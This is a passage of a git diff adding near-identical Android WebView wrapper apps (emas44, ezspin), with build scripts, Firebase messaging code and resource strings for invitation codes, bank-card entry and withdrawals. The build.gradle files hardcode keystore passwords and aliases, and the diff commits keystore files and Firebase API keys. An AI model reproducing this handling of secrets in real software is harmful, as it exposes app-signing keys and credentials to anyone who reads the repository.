b/ek9pgk/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/xml/app_updater_paths.xml b/ek9pgk/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/ek9pgk/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/xml/network_security_config.xml b/ek9pgk/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/ek9pgk/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/ek9pgk/src/main/res/xml/provider_paths.xml b/ek9pgk/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/ek9pgk/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/ek9pgk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/ek9pgk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/ek9pgk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/emas44/.gitignore b/emas44/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/emas44/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/emas44/build.gradle b/emas44/build.gradle new file mode 100644 index 0000000..342ba27 --- /dev/null +++ b/emas44/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.emas44" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "emas44" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base') +} \ No newline at end of file diff --git a/emas44/google-services.json b/emas44/google-services.json new file mode 100644 index 0000000..9c7c13b --- /dev/null +++ b/emas44/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "231424783932", + "project_id": "emas44-182a9", + "storage_bucket": "emas44-182a9.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:231424783932:android:d526ccfbee3d3d611d7539", + "android_client_info": { + "package_name": "com.web.emas44" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBvCsltta7TSjGn9-vNX_FZeQ6zR9hBwV0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/emas44/ppn.jks b/emas44/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/emas44/ppn.jks differ diff --git a/emas44/proguard-rules.pro b/emas44/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/emas44/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/emas44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/emas44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/emas44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/emas44/src/main/AndroidManifest.xml b/emas44/src/main/AndroidManifest.xml new file mode 100644 index 0000000..e7950e8 --- /dev/null +++ b/emas44/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/main/java/com/web/emas44/MainActivity.java b/emas44/src/main/java/com/web/emas44/MainActivity.java new file mode 100644 index 0000000..1da17e7 --- /dev/null +++ b/emas44/src/main/java/com/web/emas44/MainActivity.java @@ -0,0 +1,44 @@ +package com.web.emas44; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 152; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://emas44.co/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#297711"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#3e9426"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/emas44/src/main/java/com/web/emas44/MyFirebaseMessageingService.java b/emas44/src/main/java/com/web/emas44/MyFirebaseMessageingService.java new file mode 100644 index 0000000..3eb6765 --- /dev/null +++ b/emas44/src/main/java/com/web/emas44/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.emas44; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/emas44/src/main/java/com/web/emas44/WebApplication.java b/emas44/src/main/java/com/web/emas44/WebApplication.java new file mode 100644 index 0000000..3942c54 --- /dev/null +++ b/emas44/src/main/java/com/web/emas44/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.emas44; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/emas44/src/main/res/drawable-anydpi/ic_action_back.xml b/emas44/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/emas44/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/emas44/src/main/res/drawable-hdpi/ic_action_back.png b/emas44/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/emas44/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/emas44/src/main/res/drawable-mdpi/ic_action_back.png b/emas44/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/emas44/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/emas44/src/main/res/drawable-v24/ic_launcher_foreground.xml b/emas44/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/emas44/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable-xhdpi/ic_action_back.png b/emas44/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/emas44/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/emas44/src/main/res/drawable-xxhdpi/ic_action_back.png b/emas44/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/emas44/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/emas44/src/main/res/drawable/big_bg.xml b/emas44/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..5e698b0 --- /dev/null +++ b/emas44/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable/ic_launcher_background.xml b/emas44/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/emas44/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/emas44/src/main/res/drawable/input_bg.xml b/emas44/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/emas44/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/emas44/src/main/res/drawable/pass_word_bg.xml b/emas44/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/emas44/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/emas44/src/main/res/drawable/pass_word_bg1.xml b/emas44/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/emas44/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable/pass_word_bg2.xml b/emas44/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/emas44/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable/shape_btn_bg.xml b/emas44/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/emas44/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable/shape_dialog_bg2.xml b/emas44/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/emas44/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable/shape_dialog_bg3.xml b/emas44/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/emas44/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/drawable/shape_dialog_bg_new.xml b/emas44/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/emas44/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/emas44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/emas44/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/emas44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/emas44/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/mipmap-hdpi/ic_empty.png b/emas44/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/emas44/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/emas44/src/main/res/mipmap-hdpi/ic_pull_down.png b/emas44/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/emas44/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/emas44/src/main/res/mipmap-xhdpi/ic_close.png b/emas44/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/emas44/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/emas44/src/main/res/mipmap-xhdpi/ic_menu.png b/emas44/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/emas44/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/emas44/src/main/res/mipmap-xxhdpi/app_logo.png b/emas44/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..f8a0264 Binary files /dev/null and b/emas44/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/emas44/src/main/res/values-en/strings.xml b/emas44/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/emas44/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/emas44/src/main/res/values-night/themes.xml b/emas44/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/emas44/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/values/colors.xml b/emas44/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/emas44/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/emas44/src/main/res/values/strings.xml b/emas44/src/main/res/values/strings.xml new file mode 100644 index 0000000..7258d66 --- /dev/null +++ b/emas44/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Emas44 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/values/themes.xml b/emas44/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/emas44/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/xml/app_updater_paths.xml b/emas44/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/emas44/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/main/res/xml/network_security_config.xml b/emas44/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/emas44/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/emas44/src/main/res/xml/provider_paths.xml b/emas44/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/emas44/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/emas44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/emas44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/emas44/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/ezspin/.gitignore b/ezspin/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/ezspin/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/ezspin/build.gradle b/ezspin/build.gradle new file mode 100644 index 0000000..5fcad13 --- /dev/null +++ b/ezspin/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.ezspin" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "ezspin" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/ezspin/dskjweb.jks b/ezspin/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/ezspin/dskjweb.jks differ diff --git a/ezspin/google-services.json b/ezspin/google-services.json new file mode 100644 index 0000000..d0ef54d --- /dev/null +++ b/ezspin/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "155416474379", + "project_id": "ezspin-2565a", + "storage_bucket": "ezspin-2565a.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:155416474379:android:5f770a508d97171511e80e", + "android_client_info": { + "package_name": "com.web.ezspin" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBhy-6PnxITZPTt2aV3_1T8g_8B8KSr3Qg" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/ezspin/ppn.jks b/ezspin/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/ezspin/ppn.jks differ diff --git a/ezspin/proguard-rules.pro b/ezspin/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/ezspin/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class 